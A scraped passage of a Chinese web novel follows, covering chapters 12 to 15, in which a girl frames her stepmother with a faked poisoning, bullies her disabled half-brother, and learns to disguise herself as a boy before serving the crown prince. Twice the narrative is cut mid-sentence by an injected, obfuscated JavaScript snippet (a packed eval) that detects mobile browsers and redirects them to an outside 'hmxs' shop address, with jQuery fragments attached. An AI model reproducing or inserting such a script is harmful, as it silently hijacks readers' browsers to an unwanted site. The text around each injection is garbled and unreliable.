乔天璇歪头往门外边边处望去,见乔万山居然也在。 只是乔万山站得有些远,现在又是夜晚,乔天璇一开始并没有注意到他。 乔万山眉头紧锁,狠狠地盯着乔天璇,命令道:“喝!一碗红豆粥都喝不下,算什么淮南乔氏的人?!” “爹,我好饱,快要吐了。”乔天璇实在是无奈。 “喝!喝!!!”乔万山的语气像是要打人一样。 春桃赶紧跑来乔天璇耳边跟她说了关于乔家红豆粥的规矩。 乔天璇听完后不禁不屑一笑。 这都是什么奇奇怪怪的破规矩啊? “原来如此,那便喝吧。”乔天璇接过萧芯荷的贴身丫鬟手中的红豆粥,仰头一饮而尽。 “呕——” 刚喝完,乔天璇便猛地吐了,连带着晚饭,混合的呕吐物溅上了萧芯荷的裙摆。 “呀!!!”萧芯荷大惊失色,满脸嫌弃。 “呕——” 乔天璇还没有吐够,她现在一想到萧芯荷刚刚那副故意逼吃撑了的自己喝粥不成便让乔万山也来逼自己喝粥的嘴脸,心中就觉得恶心至极。 “扑通!” 乔天璇吐得太猛,浑身脱力,竟是一下子栽倒在了地上。 “呕……” 乔天璇还在不停地吐,边吐边抽搐不止。 这下子乔天璇也是始料未及,她是真的感觉很不舒服。 见状,乔万山拧着眉头道:“算了,吐成这样,看来她是真的吃撑了。春桃,你扶她回去休息吧。” “是。”春桃赶忙掏出帕子给乔天璇擦嘴擦脸,扶着乔天璇回了榻。 这一晚,乔天璇没有睡好。 翌日,乔天璇没出房门。她让春桃对外说她身子不适,在榻上睡了一整日。 春桃愁眉苦脸地看着榻上的乔天璇,担忧道:“小姐,你白日里睡了,晚上还能睡得着吗?” “能……”乔天璇迷迷糊糊嘟囔了一句,继续睡了。 然而,在乔天璇来到乔府的第三日,萧芯荷便买通了服侍乔天璇的丫鬟春桃。 萧芯荷故意让春桃以要乔天璇与弟弟多亲近亲近的理由带乔天璇去了府内规定了平日里除了家主、夫人和少爷之外谁都不能去的茶室。 “小姐,请。少爷稍后就到。” 一直在前面带路的春桃侧身对乔天璇做了个“请”的动作。 乔天璇毫无防备地走进了前方的茶室。 几步之后,乔天璇疑惑地回头看向了春桃,不解道:“你怎么不进来?” “奴婢不配,府里的规矩。”春桃低头不敢看乔天璇。 “哦。”乔天璇转回了头,心想这乔府定都是什么破规矩,丫鬟难道就呼吸不得茶室里的空气吗? 看着茶室里的陈设,乔天璇自然而然地坐到了茶室中最大的一把椅子上。 “这个位置的视野最舒服,平日应该都是父亲坐的吧?”乔天璇猜测着,从一旁的桌子上拿起了一个茶盏。 茶盏呈浅青色,十分耐看。 乔天璇把玩了一会儿手中的茶盏,把茶盏中想象着盛了茶水,表情十分享受地闭眼做了个将盏中茶水一饮而尽的动作。 在仰头“喝”完了茶水后,乔天璇缓缓睁开了双眼,见方才还空旷的茶室门口现在正站着乔万山和萧芯荷。 春桃早已不见踪影。 “乔天璇,你很厉害啊,都坐到我这个家主的座位上了。”乔万山盯着乔天璇的目光满是怒火。 一旁的萧芯荷连忙娇声附和道:“是啊,说到底就是个山村野花,没规没矩,没大没小,搞得老爷的座位都脏了。” “抱歉。”乔天璇慢悠悠地将手中的茶盏放回到了旁边的桌子上,轻轻跳下了座位。 萧芯荷大概是没看到自己预想中乔天璇惊慌失措的模样,她见乔天璇的动作不紧不慢,除了一句道歉之外并没有下跪求饶之类的动作,也没有任何的狡辩和自证,心中万分不悦,阴阳怪气道:“外室之女,毫无礼数,用了老爷的茶盏喝茶之后就这么放下不管了?难道是诚心想让老爷用沾有你口水的茶盏来喝茶,好以此来勾引自己的父亲?哦哟,小小年纪就已是如此,当真下作啊……” 闻言,乔天璇转头看了一眼自己刚刚拿过的茶盏,暗暗冷笑一声,突然浑身颤抖了起来,似是脚下没有站稳,一下子摔倒在了地上。 “喂,你干嘛?”萧芯荷被乔天璇突如其来的动作给疑惑到了。 乔天璇故作痛苦的表情,故作艰难地抬 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她用有符渣的这只手捂住嘴后闭嘴咳了几声,紧接着把手拿开,眼神绝望地看向了自己用来捂嘴咳嗽的手,神色故作恐惧道:“毒!毒渣!” 经过火烧后的符纸含铅,铅自然有毒。乔天璇现在所能唤出的灵火虽然十分微弱,只能让被烧之物像是已经熄火了的火盆中那些还在慢慢燃尽的纸,但这正好能让符纸被她在神不知鬼不觉间烧成渣。 “真的是毒?”乔万山终归害怕唯一一个可以用来顶替乔天飞给太子伴读的人就这么被毒死了。他慌忙跑到了乔天璇身边蹲了下来,一把将乔天璇那只有符渣的手给拽到了自己面前。 符渣沾了乔天璇的汗,有些湿润,给人看起来像是被茶水浸过一样。 “毒妇!”乔万山猛地抬头望向了不知所措的萧芯荷,眼神又惊又怒。 “老爷冤枉啊!”萧芯荷不知事情怎么就发展成这个样子了,满脸慌张。 “爹……我是不是……就要死了……”乔天璇心觉眼前这场戏实在是精彩,于是便打算将这场戏给演到底。 “不会的!你不可以死!我不准!”乔万山连忙扶起趴在地上的乔天璇,一个劲儿给乔天璇拍背,好让她把“毒”给全部吐出来。 乔天璇心底清楚乔万山万不可能让她这枚棋子死掉,所以现在只要有人威胁到了她这枚棋子的生命安全,那么乔万山定是不介意让威胁到了自己棋子的人去死。 至于萧芯荷会不会真的因此而死,那就得看萧芯荷的命了。 “该死的毒妇,竟然在我的茶盏中下毒,我看你真是活腻了!”乔万山一把打横抱起乔天璇,边走出茶室边对萧芯荷道:“毒妇,我现在给你两条路,一条是去自己的房间自尽,另一条是亲手杀了乔天飞这个废物。” “不、不行!老爷不要啊……冤枉啊……”萧芯荷顿时红了眼眶。 此时,乔万山已经走到了萧芯荷的身旁,不耐烦地一脚将萧芯荷踹倒在地。 “啊呀!老爷……”萧芯荷跌在地上,两眼泪水汪汪。 她虽然被乔万山踹得生疼,但还是拼命想去抓乔万山的衣摆,只可惜抓了个空。 乔万山目视前方,继续抱着怀中的乔天璇往前走着,头也不回地冷声对身后被他踹倒在地的萧芯荷道:“若是乔天飞死了,府里就能少一个浪费粮食的废物了。你日后若是能再给我生一个正常的孩子,我便留你一命。” “……” 乔万山的肩很宽阔,乔天璇看不到后方被乔万山踹倒在地的萧芯荷是何表情。 说来可笑,乔天璇竟是在这种情形之下忽地又感受到了那种久违的父爱。 但也只是在这一瞬间的感觉而已。 乔天璇立马又想起来了自己不过是父亲的一枚棋子而已,而且极大可能还是那种用完就弃的棋子。 不过好在现在的自己对父亲来说很有用,那自己便比萧芯荷更能在乔家暂时保住性命。而萧芯荷于父亲而言,她的作用比不过自己这枚棋子。若非得要在自己与她两个人中死一个人,也该是她死。 想到这里,乔天璇不禁苦笑,心道:“后母,你好可怜。比我可怜。” 13. 乔府旧事(三) 此次“茶室事件”侥幸没让萧芯荷得逞,说到底还得归功于乔天璇之前在山村被客栈老板娘放养的那段时间在后山上碰到的一个落难修士。就是这个修士见乔天璇天生灵力,极具当灵师的天赋,便教了乔天璇不少御灵的灵术。只是乔天璇年纪太小,灵力还不够,也不会用,修士就让乔天璇通过符来当御灵的媒介,教会了乔天璇用符。 自此,乔天璇的身上开始藏起了符纸。 而在乔天璇初遇这个修士时,她见修士靠坐在一棵树下休息,浑身血污,也不知是不是在战斗中受了伤。 乔天璇好心给修士从山上采来了不少草药,还带修士到了她在后山的“秘密山洞”中养伤。 修士一来到乔天璇的“秘密山洞”就惊叹这是一个灵气充沛的福地。 乔天璇根本听不懂,只是催促着受伤的修士赶紧好好养伤,千万不要死了。 修士很感激乔天璇,在伤养得差不多了时便当起了乔天璇的第一任师父。一直到“秘密山洞”的灵气被修士给用光了,修士才离开。 临别时,修士让乔天璇日后要勤加修炼,将自身的灵力完全开发,不要浪费了宝贵的天赋。他还担心小孩子贪嘴,千叮咛万嘱咐乔天璇不可吃被火烧过之后的符渣。这样的符渣中含铅,有毒。 乔天璇方才那般用符,一下子就回想起了那个修士,即使她并不知道那个修士的姓名。 仙途渺渺,不知他现在又在何方,过得是否安好。 经过此次“乔天璇被萧芯荷下毒”一事之后,乔天璇就被乔万山重点关照了起来。他命令乔天璇在北上进京之前都要待在她的房中养身子,喝许多用来排毒的汤药,顶多可以到外面的院子里透透气。 她的丫鬟春桃也因疑与“下毒”一事有关被换掉了。 听府中的家仆们说,春桃已经被秘密处死。 但乔天璇并不关心这个。 新来服侍乔天璇的丫鬟叫清涟,瞧着人畜无害的。 可在领教过萧芯荷对自己的恶意之后,乔天璇一日身在乔府之中,便一日不会放松警惕。 她面无表情地看着清涟,问道:“毒我的后母现在情况如何了?” 清涟赶忙道:“萧夫人已经绝食五日了。” 乔天璇道:“还没饿死?” 清涟道:“还没,而且萧家来了好多人,都在与家主说情,求家主放过萧夫人。” “哦?有意思。”乔天璇轻笑一声。 大概是由于自己的母亲因为乔天璇而被父亲给惩罚了,乔天飞倒是主动来了乔天璇的院子。 他冲着在院子里透气的乔天璇咿呀乱叫,胡言乱语。 乔天璇压根就听不懂乔天飞到底在乱叫些什么。 她打心眼儿里怀疑乔天飞这废物弟弟是不是根本就没有学会说人话。 “我可怜的废物弟弟啊,瞧瞧你现在这副样子,真是活受罪。啧啧啧啧啧,要不你还是赶紧转世投胎去吧。” 说罢,乔天璇将手中还剩下一半茶水的茶盏像是给死人敬茶那样“哗啦啦啦”倒在了乔天飞的面前。 也不知乔天飞明不明白乔天璇的动作,反正他当即暴跳如雷,却因为天生残疾,连快步走向乔天璇的动作都做不到,还没来得及再结结巴巴骂乔天璇几句就被乔万山派来负责保护乔天璇的护卫给赶走了。 废物弟弟虽然令她生厌,但乔天璇还是在府中遇到了两个真心对她好的人。一个是乔万山的妹妹乔悦儿,一个是负责保护乔天璇的护卫。 乔悦儿年芳十五,与乔万山同父异母。她虽生得明艳可人,但却总是喜欢女扮男装成江湖侠客的模样。 不过乔天璇觉得乔悦儿在穿上一袭男装,贴上假胡子,戴上斗笠之后还真给人感觉像是那么一回事儿,若是再给她配一把刀或剑就更有江湖侠客的感觉了。 乔悦儿时不时就来给乔天璇送好吃的点心,夜里乔天璇要是睡不着觉,她还会来榻前给乔天璇讲睡前故事,说乔万山的坏话,逗乔天璇开心。 一日,乔悦儿一袭男装地从外面的花鸟集市买回来一只鹦鹉。她哼着歌带着鹦鹉去了乔天璇的房间,和乔天璇一起逗鸟。 乔悦儿道:“我听卖鸟的人说这小东西已经学会说不少人话了,应该能带来不少乐子。” 乔天璇拿起一根筷子戳了戳笼子里的白毛黄冠鹦鹉,疑惑道:“这是哪儿的鸟?我怎么从前在山里面都没有见过?” 乔悦儿道:“这是从南部瞻洲那边传来的鸟,那地方好像还叫罗娑斯来着?据说当地到处都是这样的鸟,满天飞,还喜欢明目张胆抢人的食物,一点儿也不怕人,当地人反而怕它们。可是我们这儿偏偏就没有这种有意思的鸟,只能从罗娑斯抓来。” “不怕人啊……”乔天璇用筷子戳了戳鹦鹉的羽冠,那羽冠顿时竖了起来开了花。 “啊啊啊呀呀呀呀呀!” 鹦鹉狂叫着,边叫还边扑扇翅膀。 “怎么这么多羽毛粉……”乔天璇赶忙远离了笼子一些。 乔悦儿站起身,居高临下看着桌子上的笼子,对里面的鹦鹉道:“安静!” 鹦鹉定了一下身子,下一刻却叫得更加疯狂了。 “啊啊啊傻瓜!啊啊啊傻瓜!” 乔天璇道:“它怎么骂人啊?” 乔悦儿道:“跟人学的呗。” 乔天璇道:“那它还会说别的吗?” “会。”乔悦儿冲着鹦鹉大喊:“主人,给您请安了!” 鹦鹉听到乔悦儿说的这句后,突然浑身一激灵,当即开始不断地重复起了“主人,给您请安了”这句话。 “好了好了,停停停!”乔天璇被说得有些烦了。 “好了好了!停停停!”鹦鹉立马重复了乔天璇说的话。 “哈哈哈哈哈哈……”乔悦儿大笑道:“它学你说话了!” 乔天璇心觉有趣,又用筷子戳了一下鹦鹉的翅膀。 鹦鹉当即一躲,嘴里重复着“好了好了!停停停!”,双脚则不断地在笼子里的树杈子上来回走动,拼命躲避戳它翅膀的筷子。 乔天璇一下子就体会到了其中的乐趣。 “对了,要是乔天飞再来找我麻烦,就让鹦鹉重复骂他。”乔天璇兴奋地看向了乔悦儿。 “那鹦鹉就暂时先放你这儿啦。”乔悦儿凑近了鹦鹉,对其猛地吹了一口气,把鹦鹉的羽毛都给吹开了花。 顿时,鹦鹉又“啊啊啊呀呀呀”叫了起来。 “鸟儿都叫得比乔天飞好听。”乔天璇不由得感叹。 “唉,也不知天飞这辈子还能不能治好。”乔悦儿无奈扶额。 “你们之前给乔天飞想过多少治疗他的方法啊?”乔天璇十分好奇。 “记不清了。”乔悦儿回忆道:“想过好几百种了吧?但是都没有用。为了不让天飞的消息传出去,来给天飞看病的郎中全都被哥哥派人给杀了。” “那还是别找人给他治了。”乔天璇此刻对乔天飞和乔万山的印象更加差劲了。 “嗯,的确不治了。反正哥哥也已经对天飞很失望了,他都好久没再找过郎中给天飞看病了。”乔悦儿伸了个懒腰,在乔天璇面前转了两圈,问道:“天璇,你觉得我今天这身男装如何?” 乔天璇已经习惯乔悦儿穿男装了,虽说乔悦儿今日并没有贴假胡子,但也已经扮得很像男人了。 “好看!不像女的!”乔天璇肯定地点了点头。 “哈哈哈哈哈哈你们小孩子的夸人方式还真是……唉……”乔悦儿摸了摸乔天璇的脑袋,认真道:“不过不久之后天璇也得女扮男装去东宫给太子伴读了。” “女扮男装很难吗?”乔天璇打量着此时起来一点儿也不像女人的乔悦儿,再加上乔悦儿的声色雌雄莫辨,乔天璇都有些怀疑乔悦儿是不是其实本身就是男的。 乔悦儿自信满满道:“不难不难,既然如此,那本大侠今日就来教天璇如何女扮男装吧。等天璇扮熟悉了之后就很难露馅儿了。” 乔天璇道:“声音也要扮吗?” 乔悦儿道:“你现在还小,小女孩的声音跟小男孩的声音差别不大,但你以后长大了就得把声音也给扮上了。姑姐可以教你如何暂时让自己的说话声变成少年时期的男声,这个是有技巧在里面的。” “声音变成男的?”乔天璇弱弱道:“我可不可以……不学这个?” “得学!”乔悦儿突然严肃:“要知道,你在给太子伴读期间可千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025588|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万不能露馅儿,要不然皇上就该定你欺君之罪判你死刑了!到时候乔家上下全都得被皇上灭口,你姑姐我也会死得很惨的!” 听到自己若是露馅儿的话乔悦儿也会死得很惨,乔天璇慌忙点头道:“学!我学!姑姐快教我!我不要姑姐死!” “嗯,这才对嘛。”乔悦儿很是满意,她微笑着摸了摸乔天璇的脑袋,随即便将乔天璇头上戴的发饰全都给取了下来。 自此,乔天璇被乔悦扮成了小男孩,清涟也在乔悦儿的嘱咐下不再称乔天璇为“小姐”,而是改口称乔天璇为“少爷”。 负责保护乔天璇的护卫年纪不大,瞧着也就十七岁出头的样子。但他生得很高挑,一心一意护着乔天璇。 乔天璇在习惯了女扮男装后,烦闷时就会把护卫当成树来爬。 护卫也不恼火,任凭乔天璇把他当树爬。 到了后来,护卫还会在乔天璇爬到了他头顶时学鸟叫的声音吹口哨,并逗乔天璇道:“到树顶的鸟窝咯。” 这日,乔天飞又来了乔天璇住的地方。 被乔天璇当成树的护卫顿时戒备了起来,以防乔天飞对乔天璇做出什么出格的事情。 乔天飞一来就伸手指着在院子里逗弄鹦鹉的乔天璇,口中咿咿呀呀叫个不停。 乔天璇看了一眼鹦鹉,面无表情道:“啊啊啊傻瓜。” 鹦鹉先是一愣,随即便摇头晃脑地重复了起来:“啊啊啊傻瓜!啊啊啊傻瓜!啊啊啊傻瓜……” “……” 那痴傻儿乔天飞听到自己被一只鸟重复骂傻瓜,顿时就要上前来教训骂他傻瓜的鸟。 护卫即刻拦住,语气冷漠地对乔天飞身后的丫鬟道:“带他走。” 丫鬟将手中的一个食盒递给了护卫,道:“这是萧夫人让我来送给小姐的。” 护卫接过食盒,转头看向了乔天璇。 乔天璇快步走到护卫身旁,接过食盒打开一看,见里面放着一碟淡黄色的包子。 “又给我送吃的,没安好心吧?”乔天璇拿起其中一个包子,一把就塞进了被护卫拦着不许向前跑的乔天飞口中。 乔天飞正张着嘴咿咿呀呀喊个不停,一下子就被乔天璇塞来的包子堵住了嘴。 嘴里突然被塞了食物,乔天飞赶忙嚼了起来,没嚼几下就吞了下去。 丫鬟被乔天璇的动作惊得僵在了原地,口中不断念叨道:“这是给小姐吃的……给小姐吃的……” “没事,我吃不就得了。”乔天璇见乔天飞吃了之后一点儿事都没有,便放下了心来,拿起其中一个包子咬了一口。 然而,这包子徒留了馅儿的位置,实际上却并没有馅儿,是个空心包子。 乔天璇这些年来可从未吃过中间包着的是空气的包子,哪怕馅儿少,那好歹也有馅儿。要不然就是没有馅儿的实心包子,总好过里面包着的是空气。 “耍我?”乔天璇冷笑一声,将嘴里的那一口包子给吐了。 还好自己没有道完谢后把包子拿回房里去吃,要不然吃到空心包子可没法像现在这样当场就把气给出了。 乔天璇猛地将手中被她咬了一口的包子和食盒里剩下的包子通通塞进了乔天飞口中,直塞得乔天飞两眼翻白。 “你!你……”丫鬟慌忙将乔天飞拉向了自己。 乔天璇把手中还未来得及塞进乔天飞嘴里的最后一个包子扔向了乔天飞的脑门。 只见那包子正中乔天飞的脑门,随后弹落到了地上。 乔天飞当即馋得跟饿狗那样趴在了地上找那被弹落的包子吃,吃相跟饿狗相差无几。 丫鬟赶忙去拉乔天飞起来,就跟主人在拉贪吃的饿狗的动作一样。 乔天璇不屑地瞟了乔天飞一眼,用乔悦儿教她的街头混混的语气对丫鬟道:“告诉萧夫人,她送来的包子我很不喜欢,馅儿光是闻着就一股屎尿味儿,也不知是从哪儿找来的空气。可奇怪的是他的宝贝儿子爱吃得很呐,让她记得给她的宝贝儿子多准备些,以防他不够吃了。快滚吧,不送!” 丫鬟哪敢跟家主的孩子顶嘴,更何况还有个神情冷漠的护卫在护着乔天璇。她连忙带着那还在吃从地上捡起来沾了泥的包子的乔天飞一块儿滚了。 14. 乔府旧事(四) 既然萧芯荷已经可以让人来给自己送空心包子了,那看来萧家人大概也已经向乔万山求情成功,萧芯荷暂时不用死了,她也又有心思来整人了。 对此,乔天璇不免有些失望。 这个总是想要害自己和恶心自己的女人可真是命硬。 乔天璇躺在榻上,一口一个乔悦儿给她送来的已经让清涟剥好皮了的青提,脑海中满是萧芯荷之前欺负自己不成,反而被自己给整了的画面,不由得扬起了嘴角。 不过即便之前都没让萧芯荷好受过,可日后还是要小心提防萧芯荷才行。 当然,还有清涟。 乔天璇瞟了一眼这会儿还在给青提剥皮的清涟,想起了被萧芯荷收买的春桃。 但春桃的死应该能震慑得了清涟,毕竟命还是比钱要重要的。 乔天璇道:“清涟,你跟我详细说说乔家的所有规矩吧。” 她可不想再被萧芯荷利用规矩给整蛊了。她得未雨绸缪,提防一切可能会让自己受到惩罚的事情。 清涟道:“是。” 于是,乔天璇听了整整半个时辰的各种规矩,听得她时而目瞪口呆,时而哈欠连天。 “这乔府是人住的地方吗?这分明是大牢吧?不对,大牢都没有这么多离谱的规矩啊。”乔天璇终于听完了所有的规矩,感觉脑袋有些发疼。 尤其令乔天璇脑袋发疼的其中一条规矩是“家宴时食用每道菜不得超过三口。” 可乔天璇若是遇到了喜欢吃的食物,那恨不得全部吃光,怎可能只吃三口?剩下的食物全都当摆设吗? 还有一条规矩是“行于厅堂,女子脚步声不得过大,也不得无声。” 乔天璇想不明白这个脚步声是得多大才算大?每个人对此的标准都不一样吧?而且凭什么只规定了女子?男子呢?男子就不用管自己的脚步声吗? 清涟道:“家主很重视少爷,少爷若是犯了一些小错,家主估计也能视而不见的。” 乔天璇气愤道:“开什么玩笑?!我之前吃太饱了实在是喝不下那碗红豆粥,结果呢?我的父亲大人没有视而不见,他居然吼我,让我赶紧喝!还说我不喝便不算淮南乔氏的人,喝得我都吐了!恶心死了,我永远都忘不了那件事情!” 清涟道:“少爷,红豆粥那件事情在淮南乔氏不算小错。” “……” “算了,真是搞不懂。这都是一堆什么破规矩啊,烦死人了。”乔天璇又吃了一颗青提,无奈地望向了窗外的云天。 虽然乔家繁多的规矩让乔天璇喘不过气来,但好在还有个乔悦儿能让乔天璇感到暂时的放松。 大概是怕乔天璇实在是闷得发慌,乔天璇住在乔府里半个月后,乔悦儿给乔天璇带来了一只纸鸢。 乔天璇从前在山村里就和同村的小伙伴一起放过纸鸢,只不过放纸鸢需要在很宽阔的地方才能放得尽兴,现在自己被困在一方小院子里,放纸鸢顶多只能起个活动双手的作用。 “天璇,你放纸鸢好熟练啊。”乔悦儿瞧着乔天璇放纸鸢的手法,不禁有些感叹。 “那是当然,我可是放纸鸢的老手了。”乔天璇得意地笑了笑。 清风徐徐吹拂着天上随风而动的纸鸢,眼看纸鸢越飞越远,渐渐的,纸鸢被乔府中别的房屋给挡住了。 “唉,看不到了。”乔天璇十分无奈。 这便是在地方小且窄的地方放纸鸢的弊端了。 突然,乔天璇感觉纸鸢的线一沉,纸鸢似是被什么东西给强行拽下了地。 “怎么回事?我的纸鸢呢?”乔天璇用力扯了一会儿纸鸢的线,竟是只收回了线,顶上的纸鸢已经不见了。 “我去找。”一旁一直看着这一切的护卫连忙使出轻功跳上了院墙,遂又一路跳往了通向纸鸢那处的房顶。 “那我们就等一等吧。”乔悦儿蹲了下来,仰头望天。 看着空荡的院墙,乔天璇还在回想方才护卫的身影。 这个护卫似乎还挺厉害的,武功不俗,轻功了得。可他怎么就只甘心当了一个小护卫呢? 过了片刻之后,护卫便拿着纸鸢又用轻功跳了回来。 他从院墙上一跃而下,快步走到乔天璇的身前,弯腰将纸鸢双手递到了乔天璇的面前,头微低着,目光看着乔天璇前方的地面。 微风轻拂他的发丝,拂过他年轻俊逸的面庞。 “你叫什么名字?”乔天璇到现在还不知这个一直负责保护自己的护卫的姓名。 “在下凌风。” “凌风?”乔天璇见纸鸢上破了好几个大洞,而且这些洞恰好组成了一个骷颅头的样子,又道:“你看到是谁把我的纸鸢给弄坏了吗?” 凌风道:“是萧夫人。” “后母?!”乔天璇一听到这个女人,顿时心情不悦。 看来萧芯荷大概是见乔悦儿带着纸鸢来乔天璇这儿了,她便猜到放纸鸢的人会是乔天璇。而她看不惯乔天璇,那么破坏纸鸢想必就是她报复乔天璇的方式。 乔悦儿疑惑道:“嫂子怎么这样啊?我记得她之前一直挺好的啊?她对我也挺不错的,怎么就单单尤其针对天璇?” 乔天璇:“……” 乔悦儿一只手托起了下巴,回忆道:“我记得不久前她还给哥哥下毒了,简直令人难以置信。真是奇怪,人是怎么会一下子变得跟从前完全不一样的呢?” 虽然“下毒”是乔天璇搞得鬼,但对乔天璇来说,萧芯荷就算是被冤枉的,那也完全算她活该。 想罢,乔天璇黑着脸道:“因为我回来了,可我不是她生的,而她生的宝贝儿子是个废物。” “这样啊……”乔悦儿思索道:“嫂子一直都很想让天飞变聪明的,她还总是称赞天飞是大智若愚的下凡仙童。唉,说多了,连她自己都相信了。” “大智若愚的下凡仙童吗?她还真好意思说得出口。”乔天璇忍不住露出了嫌弃的笑。 乔悦儿道:“毕竟嫂子要是不这样安慰自己的话,她可能早就已经疯掉了。” “嗯,姑姐说得在理。”乔天璇拿过凌风手中的破纸鸢,看着破纸鸢沉默了片刻。 “天璇?”乔悦儿还在蹲着,她歪头瞧着沉默的乔天璇,想不懂乔天璇在想些什么。 “后母是用什么东西弄破的纸鸢?”乔天璇忽地抬头望向凌风。 凌风道:“应该是树枝。方才我就见萧夫人身旁散了好几根树枝。” “她看到你了吗?”乔天璇手指轻轻抚过纸鸢破洞的地方。 凌风道:“没有。” “还有别的人看到你了吗?”乔天璇抚着破纸鸢的手停了下来。 凌风道:“没有。” “凌风,你能帮我做一件事情吗?”乔天璇低头看向了破纸鸢。 凌风道:“何事?” 乔天璇道:“入夜后,你去把这破纸鸢挂到乔天飞的房间窗外,让它看起来尽量像鬼。” 凌风道:“是。” “啊?这不就是吓唬小孩吗?”乔悦儿略有不安。 乔天璇道:“谁让他娘先让我不舒心了?我这叫礼尚往来。” 乔悦儿道:“那嫂子要是问起破纸鸢的事情该怎么办?” 乔天璇道:“纸鸢都是她弄破的,她能有什么好说的?她能怨谁?又有谁能知道这破纸鸢是被人挂到乔天飞的房间窗外的还是被风吹过去的?再说了,我的废物弟弟说话是个大问题,他就算要告状,怕是也说不清楚。” 乔悦儿:“……” 乔天璇把破纸鸢递回到了凌风手中。 凌风立马收下了破纸鸢。 此时,乔悦儿看着乔天璇的眼神多了几分担忧。 “天璇,你就这么讨厌你的弟弟吗?” “是啊,我就是这么讨厌他。”乔天璇口无遮拦,心中的想法想说就说。 乔悦儿站起身来,转头望向了不远处笼子中的鹦鹉,喃喃道:“算了,顺其自然吧。我本也不想插手后辈之间的恩怨。” 翌日,乔天飞错把破纸鸢当鬼被吓到了的事情传遍了乔府。 乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025589|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天璇也从早晨去给自己从厨房拿早饭的清涟口中听到了关于乔天飞昨夜的事情。 “废物弟弟的情况听起来不太妙啊。”乔天璇啃着包子,满脸幸灾乐祸的表情。 清涟道:“家主不愿给乔天飞请郎中,萧夫人只得让人给乔天飞熬些安神汤。” 乔天璇道:“后母看到乔天飞的房间窗外挂着那破纸鸢了吗?” 清涟道:“看到了。” 乔天璇道:“后母有什么表示吗?” 清涟道:“萧夫人去找家主查明破纸鸢的事情,结果家主还记恨萧夫人上次在他的茶盏里下毒一事。而且家主已经不喜欢乔天飞很久了,他听说乔天飞错把破纸鸢当成鬼被吓到了,就更加觉得乔天飞没用了,于是当场大发雷霆,叫人把萧夫人关了起来,禁足十日,并且不许乔天飞去见她。” “可怜啊可怜,后母,谁叫你惹我啊?”乔天璇心情舒畅地仰头将杯中的茶一饮而尽。 利用父亲的暴脾气来惩治对自己不利的萧芯荷,这一招还真是屡试不爽。 乔天璇一时间觉得所有的一切在这一瞬间都变得美好了。 就是可惜损失了一只乔悦儿送给自己的纸鸢。 话说那只纸鸢算是乔天璇所见过的纸鸢中做工最精美的一只纸鸢了。要是昨日没有放纸鸢,而是把纸鸢给收藏起来,那只纸鸢还能陪在自己身旁。 乔天璇吃完了手中的包子,又拿起一根玉米啃了起来。 从前在山村里馋嘴了,乔天璇一般都会选择去苞米地里偷别人的来吃,哪儿会有一个专门服侍自己的丫鬟端过来给自己吃? “来,你也吃。”乔天璇把吃了一大半的玉米递给了清涟。 “真、真的?”清涟满脸不可置信。 乔天璇记得很清楚,乔府的规矩中有一条叫“主子赐予下人自己吃过的食物,乃下人的荣耀。” “当然是真的,吃吧。”乔天璇一手的手肘抵在了桌面上,手掌撑着脸,期待地注视着清涟。 “多谢少爷!多谢!”清涟赶忙吃起了手中已经被乔天璇吃了大半的玉米,满眼欢喜。 看着在吃自己吃剩的玉米的清涟,乔天璇不由得想到了自己在某种意义上又何尝不是如此。 若不是因为乔天飞是个废物弟弟,给太子伴读的事情肯定也轮不到自己。自己估计一辈子都会待在山村里,完全不知人原来还可以住在如此华丽的府邸中,被人悉心伺候。 可即便如此,乔天璇仍然永远都不会原谅乔万山。 在乔天璇心里,乔万山罪大恶极,他是直接害死了母亲的人。 乔天璇宁愿自己不出生,也不愿若是能够重来一次母亲会再遇到乔万山。 而萧芯荷,她是间接害死了母亲的人。 若是没有萧芯荷…… 算了。 乔天璇其实也不能完全肯定若是没有萧芯荷,乔万山这人会真的让王小芳来乔府当夫人。 虽然现在的乔府中有个令乔天璇厌烦的萧芯荷,但好在乔天璇只在乔府住了一个月后就顶替乔天飞的身份北上进京,女扮男装去东宫给太子陈渊龙当伴读去了。 如此一来,萧芯荷长期见不到乔天璇,她对乔天璇的敌意也没有了意义。 乔天璇作为萧芯荷心中的那根刺,慢慢被时间磨顿。 只是乔天璇很快就发现自己虽然暂时远离了萧芯荷这个可怕的麻烦,但太子陈渊龙也不是个好对付的主。 按照乔万山的叮嘱,为了五年后不被陈渊龙选为他的终身伴读,可以顺利出宫当回乔天璇,然后再编一段英年早逝的故事来让“太子伴读乔天飞”死亡,以此来躲过欺君之罪的死刑,乔天璇故意表现得尤其差劲,整日吊儿郎当没个正经,常常令太子冷眼看她。 毕竟小时候女扮男装还能蒙混得过去,长大了之后可就不一定能蒙混得了了。 欺君之罪,要命啊! 想到这里,乔天璇心中直呼可怕。 小命要紧!可万万不能让太子看好她,必须得让太子看不上她! 15. 太子伴读(一) 在京城中,乔万山托人给乔天璇租了一间距离皇宫近的房子。 随同乔天璇一起北上进京了的是丫鬟清涟和乔天璇不熟悉的一群护卫。 除了休沐日,乔天璇白天被护卫们用马车护送到东宫给太子陈渊龙伴读,傍晚又被护卫们再次用马车护送回来。 清涟则负责给乔天璇准备热菜和擦拭身子用的热水,日日如此。 